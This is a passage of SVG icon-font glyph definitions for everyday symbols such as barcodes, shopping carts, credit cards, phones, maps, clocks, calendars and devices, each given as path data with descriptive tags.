<glyph unicode="&#xe032;" d="M0,328L 56,328L 56,48L0,48zM 84,328L 112,328L 112,48L 84,48zM 140,328L 168,328L 168,48L 140,48zM 224,328L 252,328L 252,48L 224,48zM 336,328L 364,328L 364,48L 336,48zM 420,328L 448,328L 448,48L 420,48zM 280,328L 294,328L 294,48L 280,48zM 196,328L 210,328L 210,48L 196,48zM 378,328L 392,328L 392,48L 378,48zM0,20L 28,20L 28-8L0-8zM 84,20L 112,20L 112-8L 84-8zM 140,20L 168,20L 168-8L 140-8zM 280,20L 308,20L 308-8L 280-8zM 420,20L 448,20L 448-8L 420-8zM 336,20L 392,20L 392-8L 336-8zM 196,20L 252,20L 252-8L 196-8z" data-tags="barcode, price" />
<glyph unicode="&#xe033;" d="M 140,356 L 28,356 L 28,244 L 140,244 L 140,356 Z M 168,384 L 168,384 L 168,216 L 0,216 L 0,384 L 168,384 ZM 56,328L 112,328L 112,272L 56,272zM 420,356 L 308,356 L 308,244 L 420,244 L 420,356 Z M 448,384 L 448,384 L 448,216 L 280,216 L 280,384 L 448,384 ZM 336,328L 392,328L 392,272L 336,272zM 140,76 L 28,76 L 28-36 L 140-36 L 140,76 Z M 168,104 L 168,104 L 168-64 L 0-64 L 0,104 L 168,104 ZM 56,48L 112,48L 112-8L 56-8zM 196,384L 224,384L 224,356L 196,356zM 224,356L 252,356L 252,328L 224,328zM 196,328L 224,328L 224,300L 196,300zM 224,300L 252,300L 252,272L 224,272zM 196,272L 224,272L 224,244L 196,244zM 224,244L 252,244L 252,216L 224,216zM 196,216L 224,216L 224,188L 196,188zM 196,160L 224,160L 224,132L 196,132zM 224,132L 252,132L 252,104L 224,104zM 196,104L 224,104L 224,76L 196,76zM 224,76L 252,76L 252,48L 224,48zM 196,48L 224,48L 224,20L 196,20zM 224,20L 252,20L 252-8L 224-8zM 196-8L 224-8L 224-36L 196-36zM 224-36L 252-36L 252-64L 224-64zM 420,160L 448,160L 448,132L 420,132zM 28,160L 56,160L 56,132L 28,132zM 56,188L 84,188L 84,160L 56,160zM0,188L 28,188L 28,160L0,160zM 112,188L 140,188L 140,160L 112,160zM 140,160L 168,160L 168,132L 140,132zM 168,188L 196,188L 196,160L 168,160zM 252,160L 280,160L 280,132L 252,132zM 280,188L 308,188L 308,160L 280,160zM 308,160L 336,160L 336,132L 308,132zM 336,188L 364,188L 364,160L 336,160zM 364,160L 392,160L 392,132L 364,132zM 392,188L 420,188L 420,160L 392,160zM 420,104L 448,104L 448,76L 420,76zM 252,104L 280,104L 280,76L 252,76zM 280,132L 308,132L 308,104L 280,104zM 308,104L 336,104L 336,76L 308,76zM 364,104L 392,104L 392,76L 364,76zM 392,132L 420,132L 420,104L 392,104zM 420,48L 448,48L 448,20L 420,20zM 252,48L 280,48L 280,20L 252,20zM 280,76L 308,76L 308,48L 280,48zM 336,76L 364,76L 364,48L 336,48zM 364,48L 392,48L 392,20L 364,20zM 392,76L 420,76L 420,48L 392,48zM 420-8L 448-8L 448-36L 420-36zM 280,20L 308,20L 308-8L 280-8zM 308-8L 336-8L 336-36L 308-36zM 336,20L 364,20L 364-8L 336-8zM 364-8L 392-8L 392-36L 364-36zM 280-36L 308-36L 308-64L 280-64zM 336-36L 364-36L 364-64L 336-64zM 392-36L 420-36L 420-64L 392-64z" data-tags="qrcode, price" />
<glyph unicode="&#xe034;" d="M 251.998,244L 307.997,188.001L 196,76.004L 140.001,132.003zM 438.168,253.842l-32.163,32.163l-14.004-14.004c-7.165-7.166-17.067-11.598-28-11.598
		c-21.87,0-39.6,17.728-39.6,39.598c0,10.938, 4.436,20.842, 11.609,28.008l 13.995,13.994l-32.164,32.163
		c-13.111,13.111-34.566,13.111-47.677,0L 9.833,113.838c-13.11-13.111-13.11-34.567,0-47.677l 32.165-32.164l 13.983,13.984
		c 7.167,7.178, 17.076,11.617, 28.019,11.617c 21.87,0, 39.598-17.729, 39.598-39.598c0-10.94-4.436-20.843-11.609-28.010l-13.993-13.994
		l 32.163-32.164c 13.11-13.11, 34.566-13.11, 47.677,0l 260.33,260.33C 451.277,219.276, 451.277,240.731, 438.168,253.842z
		 M 196.001,20.002l-112,112l 168,168l 112-112L 196.001,20.002z" data-tags="ticket, theater, cinema" />
<glyph unicode="&#xe035;" d="M 56-22A42,42 10980 1 0 140-22A42,42 10980 1 0 56-22zM 336-22A42,42 10980 1 0 420-22A42,42 10980 1 0 336-22zM 420,160L 420,328 L 56,328 C 56,358.928, 30.929,384,0,384l0-28 c 15.439,0, 28-12.561, 28-28l 21.032-180.274C 36.216,137.464, 28,121.695, 28,104
		c0-30.929, 25.072-56, 56-56l 336,0 l0,28 L 84,76 c-15.464,0-28,12.536-28,28c0,0.096, 0.006,0.191, 0.007,0.287L 420,160z" data-tags="cart, ecommerce, shopping, products, purchase, buy, store" />
<glyph unicode="&#xe036;" d="M 370.658,132c 15.4,0, 31.462,12.115, 35.692,26.923l 40.616,142.155C 451.196,315.885, 442.058,328, 426.658,328L 140,328 
	c0,30.928-25.072,56-56,56L0,384 l0-56 l 84,0 l0-238 c0-23.196, 18.804-42, 42-42l 266,0 c 15.464,0, 28,12.536, 28,28s-12.536,28-28,28L 140,104 l0,28 L 370.658,132 z
	 M 140,272l 253.228,0 l-24-84L 140,188 L 140,272 zM 168-29c0-19.25-15.75-35-35-35l-14,0 c-19.25,0-35,15.75-35,35l0,14 c0,19.25, 15.75,35, 35,35l 14,0 c 19.25,0, 35-15.75, 35-35L 168-29 zM 420-29c0-19.25-15.75-35-35-35l-14,0 c-19.25,0-35,15.75-35,35l0,14 c0,19.25, 15.75,35, 35,35l 14,0 c 19.25,0, 35-15.75, 35-35L 420-29 z" data-tags="cart, ecommerce, shopping, products, purchase, buy, store" />
<glyph unicode="&#xe037;" d="M 427.692,298.923c-14.868,4.247-30.367-4.362-34.615-19.231L 390.88,272L 129.718,272 l-3.934,31.473
		C 124.032,317.485, 112.121,328, 98,328L 28,328 C 12.536,328,0,315.464,0,300s 12.536-28, 28-28l 45.282,0 l 24.934-199.473
		C 99.968,58.516, 111.879,48, 126,48l 238,0 c 12.501,0, 23.489,8.288, 26.923,20.308l 56,196
		C 451.171,279.177, 442.561,294.675, 427.692,298.923z M 224,160l0,28 l 55.998,0 l0-28 L 224,160 z M 279.998,132l0-28 L 224,104 l0,28 L 279.998,132 z M 224,216l0,28 
		l 55.998,0 l0-28 L 224,216 z M 133.218,244L 196,244 l0-28 l-59.282,0 L 133.218,244z M 140.218,188L 196,188 l0-28 l-52.282,0 L 140.218,188z M 147.218,132L 196,132 l0-28 l-45.282,0 
		L 147.218,132z M 342.879,104l-34.881,0 l0,28 l 42.881,0 L 342.879,104z M 358.88,160l-50.881,0 l0,28 l 58.881,0 L 358.88,160z M 374.88,216l-66.882,0 
		l0,28 l 74.882,0 L 374.88,216zM 112-22A42,42 2700 1 0 196-22A42,42 2700 1 0 112-22zM 280-22A42,42 2700 1 0 364-22A42,42 2700 1 0 280-22z" data-tags="cart, ecommerce, shopping, products, purchase, buy, store" />
<glyph unicode="&#xe038;" d="M 210,356C 94.020,356,0,261.98,0,146c0-115.98, 94.020-210, 210-210c 115.98,0, 210,94.020, 210,210
		C 420,261.98, 325.98,356, 210,356z M 210-22c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168
		c 92.784,0, 168-75.216, 168-168C 378,53.216, 302.784-22, 210-22zM 224,160l0,56 l 56,0 l0,28 l-56,0 l0,28 l-28,0 l0-28 l-56,0 l0-112 l 56,0 l0-56 l-56,0 l0-28 l 56,0 l0-28 l 28,0 l0,28 l 56,0 l 0.001,0 L 280,160L 224,160 z M 196,160l-28,0 l0,56 l 28,0 L 196,160 z
	 M 252.001,76L 224,76 l0,56 l 28.001,0 L 252.001,76 z" data-tags="coin, money, cash" />
<glyph unicode="&#xe039;" d="M 406,328L 42,328 C 18.9,328,0,309.1,0,286l0-252 c0-23.1, 18.9-42, 42-42l 364,0 c 23.1,0, 42,18.9, 42,42L 448,286 C 448,309.1, 429.1,328, 406,328z M 42,300
		l 364,0 c 7.589,0, 14-6.411, 14-14l0-42 L 28,244 l0,42 C 28,293.589, 34.411,300, 42,300z M 406,20L 42,20 c-7.589,0-14,6.411-14,14L 28,160 l 392,0 l0-126 
		C 420,26.411, 413.589,20, 406,20zM 56,104L 84,104L 84,48L 56,48zM 112,104L 140,104L 140,48L 112,48zM 168,104L 196,104L 196,48L 168,48z" data-tags="credit, card, purchase, payment, ecommerce" />
<glyph unicode="&#xe03a;" d="M 168,356L 28,356 C 12.6,356,0,343.4,0,328l0-140 c0-15.4, 12.598-28, 28-28l 140,0 c 15.4,0, 28,12.6, 28,28L 196,328 C 196,343.4, 183.4,356, 168,356z
	 M 168,244L 28,244 l0,28 l 140,0 L 168,244 z M 392,356L 252,356 c-15.402,0-28-12.6-28-28l0-364 c0-15.4, 12.598-28, 28-28l 140,0 c 15.4,0, 28,12.6, 28,28L 420,328 
	C 420,343.4, 407.4,356, 392,356z M 392,104L 252,104 l0,28 l 140,0 L 392,104 z M 392,188L 252,188 l0,28 l 140,0 L 392,188 z M 168,132L 28,132 c-15.4,0-28-12.6-28-28l0-140 
	c0-15.4, 12.598-28, 28-28l 140,0 c 15.4,0, 28,12.6, 28,28L 196,104 C 196,119.4, 183.4,132, 168,132z M 168,20l-56,0 l0-56 L 84-36 l0,56 L 28,20 l0,28 l 56,0 l0,56 l 28,0 l0-56 l 56,0 
	L 168,20 z" data-tags="calculate, sum, calculator, compute, math, arithmetic" />
<glyph unicode="&#xe03b;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,160
	c0,46.393, 37.607,84, 84,84s 84-37.607, 84-84s-37.607-84-84-84S 140,113.608, 140,160z M 405.116,84.979L 405.116,84.979l-77.621,32.152
	C 332.972,130.337, 336,144.814, 336,160s-3.028,29.663-8.505,42.869l 53.43,22.131l 24.191,10.021C 414.701,211.911, 420,186.576, 420,160
	C 420,133.424, 414.7,108.089, 405.116,84.979L 405.116,84.979z M 299.022,341.116L 299.022,341.116L 299.022,341.116l-32.152-77.621
	C 253.664,268.972, 239.186,272, 224,272s-29.663-3.028-42.869-8.505l-15.076,36.399l-17.076,41.223C 172.089,350.7, 197.424,356, 224,356
	C 250.576,356, 275.911,350.7, 299.022,341.116z M 42.884,235.021l 41.223-17.076l 36.399-15.076C 115.029,189.663, 112,175.186, 112,160
	s 3.028-29.663, 8.505-42.869l-77.621-32.152C 33.3,108.089, 28,133.424, 28,160C 28,186.576, 33.3,211.911, 42.884,235.021z
	 M 148.979-21.116l 10.021,24.191l 22.131,53.43C 194.337,51.028, 208.814,48, 224,48s 29.663,3.028, 42.869,8.505l 32.152-77.621l0,0l0,0
	C 275.911-30.699, 250.576-36, 224-36C 197.424-36, 172.089-30.7, 148.979-21.116z" data-tags="support, help, life, lifebuoy" />
<glyph unicode="&#xe03c;" d="M 308,104c-28-28-28-56-56-56s-56,28-84,56s-56,56-56,84s 28,28, 56,56S 112,356, 84,356S0,272,0,272c0-56, 57.531-169.531, 112-224
	s 168-112, 224-112c0,0, 84,56, 84,84S 336,132, 308,104z" data-tags="phone, contact, telephone, support, call" />
<glyph unicode="&#xe03d;" d="M 445.103,132.003 C 448.605,107.729 450.885,74.519 440,61.808 C 422,40.788 308.001,40.788 308.001,82.826 C 308.001,104 326.75,117.885 308.75,138.904 C 291.043,159.581 259.301,159.917 224,159.922 C 188.7,159.917 156.957,159.581 139.25,138.904 C 121.251,117.884 140,104 140,82.826 C 140,40.788 26.001,40.788 8,61.807 C -2.884,74.518 -0.605,107.728 2.898,132.002 C 5.593,148.206 12.402,165.687 34.2,187.999 C 34.2,188 34.201,188 34.201,188.001 C 66.899,218.513 116.384,243.449 222.25,243.987 L 222.25,244 C 222.838,244 223.416,243.996 224,243.994 C 224.585,243.996 225.162,244 225.75,244 L 225.75,243.988 C 331.616,243.45 381.101,218.514 413.799,188.002 C 413.8,188.001 413.8,188 413.8,188 C 435.598,165.689 442.408,148.208 445.103,132.003 Z" data-tags="phone-hang-up, contact, telephone, support, call" />
<glyph unicode="&#xe03e;" d="M 420,272c 15.464,0, 28,12.536, 28,28L 448,356 l-56,0 L 392,384 L 28,384 C 12.6,384,0,371.401,0,356l0-392 c0-15.4, 12.598-28, 28-28l 364,0 L 392,48 l 28,0 
	c 15.464,0, 28,12.536, 28,28l0,56 l-56,0 l0,28 l 28,0 c 15.464,0, 28,12.536, 28,28l0,56 l-56,0 l0,28 L 420,272 z M 252,271.856
	c 30.848,0, 55.856-25.008, 55.856-55.856s-25.008-55.856-55.856-55.856c-30.848,0-55.856,25.008-55.856,55.856
	S 221.152,271.856, 252,271.856z M 112-36L 84-36 L 84,356 l 28,0 L 112-36 z M 336,48L 168,48 l0,28 c0,30.929, 25.072,56, 56,56l0,0 l 56,0 c 30.929,0, 56-25.071, 56-56
	L 336,48 z" data-tags="address-book, book, contacts" />
<glyph unicode="&#xe03f;" d="M 393.033,356L 56,356 l0-56 L 15.032,300 C 7.333,300,0,294.519,0,286.819l0-28 C0,251.119, 7.333,244, 15.032,244L 56,244 l0-28 L 15.032,216 
	C 7.333,216,0,210.519,0,202.819l0-28 C0,167.119, 7.333,160, 15.032,160L 56,160 l0-28 L 15.032,132 C 7.333,132,0,126.519,0,118.819l0-28 
	C0,83.12, 7.333,76, 15.032,76L 56,76 l0-28 L 15.032,48 C 7.333,48,0,42.519,0,34.819l0-28 C0-0.881, 7.333-8, 15.032-8L 56-8 l0-56 l 337.033,0 
	c 15.465,0, 26.968,13.355, 26.968,28.819l0,364 C 420,344.283, 408.497,356, 393.033,356z M 140-36L 84-36 l0,28 l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819
	l0,28 c0,7.701-5.268,13.181-12.968,13.181L 84,48 l0,28 l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819l0,28 c0,7.701-5.268,13.181-12.968,13.181L 84,132 l0,28 
	l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819l0,28 c0,7.701-5.268,13.181-12.968,13.181L 84,216 l0,28 l 15.032,0 c 7.7,0, 12.968,7.119, 12.968,14.819l0,28 
	C 112,294.52, 106.733,300, 99.032,300L 84,300 L 84,328 l 56,0 L 140-36 z" data-tags="notebook, notes, book, journal" />
<glyph unicode="&#xe040;" d="M 406,328L 42,328 C 18.9,328,0,309.1,0,286l0-280 c0-23.1, 18.9-42, 42-42l 364,0 c 23.1,0, 42,18.9, 42,42L 448,286 C 448,309.1, 429.1,328, 406,328z
	 M 174.449,143.212L 56,50.947L 56,270.415 L 174.449,143.212z M 77.166,272L 370.834,272 L 224,161.75L 77.166,272z M 179.064,138.257L 224,90l 44.936,48.257
	L 361.053,20L 86.947,20 L 179.064,138.257z M 273.551,143.212L 392,270.415l0-219.468 L 273.551,143.212z" data-tags="envelop, mail, email, contact, letter" />
<glyph unicode="&#xe041;" d="M 238,384l-42-42l 42-42L 140,188L 42,188 l 77-77L0-46.769L0-64 l 17.23,0 L 175,55l 77-77L 252,76 l 112,98l 42-42l 42,42L 238,384z M 196,146l-28,28
	l 98,98l 28-28L 196,146z" data-tags="pushpin, pin" />
<glyph unicode="&#xe042;" d="M 224,384C 146.68,384, 84,321.32, 84,244c0-140, 140-308, 140-308s 140,168, 140,308C 364,321.32, 301.319,384, 224,384z M 224,160
	c-46.393,0-84,37.607-84,84s 37.607,84, 84,84s 84-37.607, 84-84S 270.392,160, 224,160z" data-tags="location, map, marker, pin" />
<glyph unicode="&#xe043;" d="M 224,384C 146.68,384, 84,321.32, 84,244c0-140, 140-308, 140-308s 140,168, 140,308C 364,321.32, 301.319,384, 224,384z M 224,158.25
	c-47.358,0-85.75,38.392-85.75,85.75s 38.392,85.75, 85.75,85.75s 85.75-38.392, 85.75-85.75S 271.359,158.25, 224,158.25zM 169.75,244A54.25,54.25 1260 1 0 278.25,244A54.25,54.25 1260 1 0 169.75,244z" data-tags="location, map, marker, pin" />
<glyph unicode="&#xe044;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-22
	c-100.516,0-182,81.484-182,182S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22zM 266,202l-126,70l-28,0 l0-28 l 70-126l 126-70l 28,0 l0,28 L 266,202z M 224,132c-15.464,0-28,12.536-28,28c0,15.464, 12.536,28, 28,28
	c 15.464,0, 28-12.536, 28-28C 252,144.536, 239.464,132, 224,132z" data-tags="compass, direction, map, locate" />
<glyph unicode="&#xe045;" d="M0,300L 140,356L 140,20L0-36 zM 308,300 L 308-36 L 168,10.666 L 168,346.666 ZM 448,356 L 448,20 L 336-24.8 L 336,311.2 Z" data-tags="map, location, guide" />
<glyph unicode="&#xe046;" d="M 294,300L 154,356L0,300l0-336 l 154,56l 140-56l 154,56L 448,356 L 294,300z M 168,320.243l 112-44.8l0-275.685 l-112,44.799L 168,320.243 z M 28,280.388
	l 112,40.727l0-276.412 L 28,3.976L 28,280.388 z M 420,39.612l-112-40.728l0,276.412 l 112,40.727L 420,39.612 z" data-tags="map, location, guide" />
<glyph unicode="&#xe047;" d="M 252,356 C 360.248,356 448,268.248 448,160 C 448,51.752 360.248-36 252-36 L 252,6 C 293.135,6 331.808,22.019 360.895,51.105 C 389.981,80.192 406,118.865 406,160 C 406,201.135 389.981,239.808 360.895,268.895 C 331.808,297.981 293.135,314 252,314 C 210.865,314 172.192,297.981 143.105,268.895 C 120.732,246.522 106.101,218.475 100.534,188 L 182,188 L 84,76 L -14,188 L 57.999,188 C 71.588,282.982 153.26,356 252,356 ZM 336,188 L 336,132 L 224,132 L 224,272 L 280,272 L 280,188 Z" data-tags="history, time, past, archive" />
<glyph unicode="&#xe048;" d="M 288.201,56.201L 196,148.402L 196,272L 252,272L 252,171.598L 327.799,95.799 	zM 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 224-8
		c-92.784,0-168,75.216-168,168c0,92.784, 75.216,168, 168,168c 92.784,0, 168-75.216, 168-168C 392,67.216, 316.784-8, 224-8z" data-tags="clock, time, schedule" />
<glyph unicode="&#xe049;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 288.201,56.201L 196,148.402
		L 196,272 l 56,0 l0-100.402 l 75.799-75.799L 288.201,56.201z" data-tags="clock, time, schedule" />
<glyph unicode="&#xe04a;" d="M 252,143.598 L 299.799,95.799 L 260.201,56.201 L 196,120.402 L 196,216 L 252,216 ZM 364,356 C 410.392,356 448,318.392 448,272 C 448,243.57 433.873,218.442 412.26,203.243 C 391.877,257.075 349.075,299.877 295.243,320.26 C 310.442,341.873 335.57,356 364,356 ZM 152.757,320.26 C 98.925,299.877 56.123,257.075 35.74,203.243 C 14.127,218.442 0,243.57 0,272 C 0,318.392 37.607,356 84,356 C 112.43,356 137.558,341.873 152.757,320.26 ZM 224,300C 131.216,300, 56,224.784, 56,132c0-40.545, 14.364-77.734, 38.279-106.759L 84-64l 28,0 l 28,50.479l-0.004,0.004
		C 164.708-27.814, 193.397-36, 224-36c 30.602,0, 59.29,8.186, 84.002,22.481L 308-13.52L 336-64l 28,0 l-10.282,89.236
		C 377.635,54.262, 392,91.453, 392,132C 392,224.784, 316.784,300, 224,300z M 224,20c-61.855,0-112,50.145-112,112s 50.145,112, 112,112
		s 112-50.145, 112-112S 285.856,20, 224,20z" data-tags="alarm, clock, time" />
<glyph unicode="&#xe04b;" d="M 224,328C 115.752,328, 28,240.248, 28,132s 87.752-196, 196-196s 196,87.752, 196,196S 332.248,328, 224,328z M 224-25.5
	c-86.986,0-157.5,70.515-157.5,157.5c0,86.986, 70.514,157.5, 157.5,157.5c 86.985,0, 157.5-70.514, 157.5-157.5C 381.5,45.015, 310.985-25.5, 224-25.5z
	 M 408.968,258.361C 415.986,270.634, 420,284.849, 420,300c0,46.393-37.607,84-84,84c-27.045,0-51.101-12.785-66.465-32.636
	C 327.234,339.449, 376.813,305.34, 408.968,258.361z M 178.465,351.364C 163.102,371.215, 139.045,384, 112,384C 65.608,384, 28,346.393, 28,300
	c0-15.151, 4.014-29.366, 11.032-41.639C 71.188,305.34, 120.767,339.449, 178.465,351.364z M 196,244l 28,0 l0-140 l-28,0 L 196,244 z M 224,132l 84,0 l0-28 l-84,0 
	L 224,132 z" data-tags="alarm, clock, time" />
<glyph unicode="&#xe04c;" d="M 448.656,34c0,126-112,98-112,196c0,8.12-0.782,15.059-2.208,20.968c-7.363,49.445-40.318,89.127-83.025,101.22
	c 0.379,1.727, 0.578,3.514, 0.578,5.342C 252,372.089, 239.4,384, 224,384c-15.4,0-28-11.911-28-26.469c0-1.829, 0.2-3.615, 0.578-5.342
	c-47.893-13.562-83.525-61.818-84.549-119.631c-0.018-0.84-0.029-1.69-0.029-2.558C 112,132,0,160,0,34
	c0-33.349, 74.633-61.248, 174.549-68.285C 183.966-51.962, 202.574-64, 224-64s 40.035,12.038, 49.451,29.715
	C 373.367-27.248, 448,0.651, 448,34c0,0.1-0.011,0.2-0.012,0.298L 448.656,34z M 361.483,10.333
	c-23.726-6.331-51.694-10.883-81.711-13.409C 277.276,25.545, 253.267,48, 224,48s-53.276-22.455-55.772-51.075
	c-30.016,2.525-57.985,7.078-81.711,13.409C 53.867,19.045, 38.257,28.791, 32.544,34c 5.713,5.209, 21.323,14.955, 53.974,23.667
	C 124.48,67.796, 173.305,73.375, 224,73.375s 99.52-5.579, 137.483-15.708c 32.651-8.712, 48.261-18.458, 53.974-23.667
	C 409.743,28.791, 394.133,19.045, 361.483,10.333z" data-tags="bell, alarm, notification" />
<glyph unicode="&#xe04d;" d="M 224.001,299.47L 224.001,328 l 56,0 L 280.001,356 c0,15.464-12.536,28-28.001,28l-83.999,0 c-15.464,0-28-12.536-28-28l0-28 l 56,0 l0-28.53 
	c-93.974-7.148-168-85.663-168-181.47c0-100.516, 81.484-182, 182-182c 100.516,0, 182,81.484, 182,182
	C 392.001,213.805, 317.975,292.321, 224.001,299.47z M 308.996,19.005C 282.552-7.437, 247.397-22, 210.001-22
	s-72.552,14.563-98.995,41.005C 84.564,45.448, 70.001,80.605, 70.001,118s 14.563,72.552, 41.005,98.995
	c 25.392,25.392, 58.821,39.82, 94.55,40.927l-9.484-137.384C 195.258,109.036, 201.525,104, 210,104
	c 8.475,0, 14.743,5.037, 13.928,16.538L 214.445,257.923c 35.729-1.108, 69.158-15.537, 94.551-40.928
	c 26.442-26.442, 41.005-61.6, 41.005-98.995S 335.438,45.448, 308.996,19.005z" data-tags="stopwatch, time, speed, meter, chronometer" />
<glyph unicode="&#xe04e;" d="M 140,216L 196,216L 196,160L 140,160zM 224,216L 280,216L 280,160L 224,160zM 308,216L 364,216L 364,160L 308,160zM 56,48L 112,48L 112-8L 56-8zM 140,48L 196,48L 196-8L 140-8zM 224,48L 280,48L 280-8L 224-8zM 140,132L 196,132L 196,76L 140,76zM 224,132L 280,132L 280,76L 224,76zM 308,132L 364,132L 364,76L 308,76zM 56,132L 112,132L 112,76L 56,76zM 364,384l0-28 l-56,0 L 308,384 L 112,384 l0-28 L 56,356 L 56,384 L0,384 l0-448 l 420,0 L 420,384 L 364,384 z M 392-36L 28-36 L 28,272 l 364,0 L 392-36 z" data-tags="calendar, schedule, date, time, day" />
<glyph unicode="&#xe04f;" d="M 392,328l-42,0 l0-14 c0-15.439-12.561-28-28-28s-28,12.561-28,28L 294,328 L 154,328 l0-14 c0-15.439-12.561-28-28-28s-28,12.561-28,28L 98,328 L 56,328 
		c-15.4,0-28-12.6-28-28l0-308 c0-15.4, 12.6-28, 28-28l 336,0 c 15.4,0, 28,12.6, 28,28L 420,300 C 420,315.4, 407.4,328, 392,328z M 392-7.949
		c-0.015-0.018-0.033-0.036-0.051-0.051L 56.050-8 c-0.018,0.015-0.036,0.033-0.050,0.051L 56,244 l 336,0 L 392-7.949 zM 126,300c 7.732,0, 14,6.268, 14,14L 140,370 c0,7.732-6.268,14-14,14s-14-6.268-14-14l0-56 C 112,306.269, 118.268,300, 126,300zM 322,300c 7.732,0, 14,6.268, 14,14L 336,370 c0,7.732-6.268,14-14,14s-14-6.268-14-14l0-56 C 308,306.269, 314.269,300, 322,300zM 252,216L 112,216L 112,188L 224,188L 224,132L 112,132L 112,104L 224,104L 224,48L 112,48L 112,20L 252,20 	zM 308,20L 336,20L 336,216L 280,216L 280,188L 308,188 	zM 381.5-46.5L 66.5-46.5 c-15.4,0-28,9.1-28,24.5l0-14 c0-15.4, 12.6-28, 28-28l 315,0 c 15.4,0, 28,12.6, 28,28l0,14 C 409.5-37.4, 396.9-46.5, 381.5-46.5z" data-tags="calendar, schedule, date, time, day" />
<glyph unicode="&#xe050;" d="M 112,356L 336,356L 336,300L 112,300zM 420,272L 28,272 C 12.6,272,0,259.4,0,244l0-140 c0-15.4, 12.598-28, 28-28l 84,0 l0-112 l 224,0 L 336,76 l 84,0 c 15.4,0, 28,12.6, 28,28L 448,244 
		C 448,259.4, 435.4,272, 420,272z M 308-8L 140-8 L 140,132 l 168,0 L 308-8 z M 426.3,230c0-11.211-9.089-20.3-20.299-20.3
		c-11.211,0-20.301,9.089-20.301,20.3s 9.089,20.3, 20.301,20.3C 417.212,250.3, 426.3,241.211, 426.3,230z" data-tags="print, printer" />
<glyph unicode="&#xe051;" d="M 476,328L 28,328 C 12.6,328,0,315.4,0,300l0-280 c0-15.4, 12.6-28, 28-28l 448,0 c 15.4,0, 28,12.6, 28,28L 504,300 C 504,315.4, 491.4,328, 476,328z M 280,272
	l 56,0 l0-56 l-56,0 L 280,272 z M 364,188l0-56 l-56,0 l0,56 L 364,188 z M 196,272l 56,0 l0-56 l-56,0 L 196,272 z M 280,188l0-56 l-56,0 l0,56 L 280,188 z M 112,272l 56,0 l0-56 l-56,0 L 112,272 z M 196,188l0-56 
	l-56,0 l0,56 L 196,188 z M 56,272l 28,0 l0-56 L 56,216 L 56,272 z M 56,188l 56,0 l0-56 L 56,132 L 56,188 z M 84,48L 56,48 l0,56 l 28,0 L 84,48 z M 336,48L 112,48 l0,56 l 224,0 L 336,48 z M 448,48l-84,0 l0,56 l 84,0 
	L 448,48 z M 448,132l-56,0 l0,56 l 56,0 L 448,132 z M 448,216l-84,0 l0,56 l 84,0 L 448,216 z" horiz-adv-x="504" data-tags="keyboard, type, typing" />
<glyph unicode="&#xe052;" d="M 448,20L 448,356 L0,356 l0-336 l 196,0 l0-28 l-84,0 l0-28 l 224,0 l0,28 l-84,0 l0,28 L 448,20 z M 56,300l 336,0 l0-224 L 56,76 L 56,300 z" data-tags="screen, monitor, computer, pc, desktop" />
<glyph unicode="&#xe053;" d="M 392,76L 392,300 c0,15.4-12.6,28-28,28L 84,328 c-15.4,0-28-12.6-28-28l0-224 L0,76 l0-84 l 448,0 l0,84 L 392,76 z M 280,20L 168,20 l0,28 l 112,0 L 280,20 z M 364,76L 84,76 
	L 84,299.95 c 0.015,0.018, 0.033,0.036, 0.050,0.050l 279.899,0 c 0.018-0.015, 0.036-0.033, 0.051-0.051L 364,76 z" data-tags="laptop, pc, computer" />
<glyph unicode="&#xe054;" d="M 322,384L 126,384 c-23.1,0-42-18.9-42-42l0-364 c0-23.1, 18.9-42, 42-42l 196,0 c 23.1,0, 42,18.9, 42,42L 364,342 C 364,365.1, 345.1,384, 322,384z M 168,363
	l 112,0 l0-14 L 168,349 L 168,363 z M 224-36c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 239.464-36, 224-36z M 336,48L 112,48 L 112,328 l 224,0 L 336,48 
	z" data-tags="mobile, phone, handheld" />
<glyph unicode="&#xe055;" d="M 336,384L 84,384 C 68.6,384, 56,371.401, 56,356l0-392 c0-15.4, 12.599-28, 28-28l 252,0 c 15.4,0, 28,12.6, 28,28L 364,356 C 364,371.401, 351.4,384, 336,384z
	 M 210-43.78c-12.028,0-21.78,9.752-21.78,21.78s 9.752,21.78, 21.78,21.78s 21.78-9.752, 21.78-21.78
	S 222.028-43.78, 210-43.78z M 336,20L 84,20 L 84,328 l 252,0 L 336,20 z" data-tags="mobile, phone, handheld" />
<glyph unicode="&#xe056;" d="M 350,384L 70,384 C 46.9,384, 28,365.1, 28,342l0-364 c0-23.1, 18.9-42, 42-42l 280,0 c 23.1,0, 42,18.9, 42,42L 392,342 C 392,365.1, 373.1,384, 350,384z M 210-50
	c-7.732,0-14,6.268-14,14s 6.268,14, 14,14s 14-6.268, 14-14S 217.732-50, 210-50z M 336-8L 84-8 L 84,328 l 252,0 L 336-8 z" data-tags="tablet, mobile" />
<glyph unicode="&#xe057;" d="M 429.27,257.953c-38.854,5.586-80.23,9.632-123.408,11.909L 378,342l-28,28L 251.756,271.757
	C 242.566,271.918, 233.313,272, 224,272l0,0L 112,384L 84,356l 84.961-84.961c-52.903-1.856-103.398-6.354-150.231-13.086
	C 6.684,210.823,0,158.749,0,104s 6.684-106.823, 18.727-153.952C 81.57-58.987, 151-64, 224-64
	c 72.999,0, 142.428,5.013, 205.27,14.048C 441.316-2.823, 448,49.251, 448,104S 441.316,210.823, 429.27,257.953z M 377.953,1.365
	C 330.821-4.658, 278.75-8, 224-8c-54.75,0-106.823,3.342-153.953,9.365C 61.014,32.785, 56,67.5, 56,104
	c0,36.501, 5.013,71.216, 14.047,102.636C 117.177,212.658, 169.25,216, 224,216c 54.747,0, 106.821-3.342, 153.95-9.364
	C 386.987,175.216, 392,140.501, 392,104C 392,67.5, 386.987,32.785, 377.953,1.365z" data-tags="tv, television, show" />
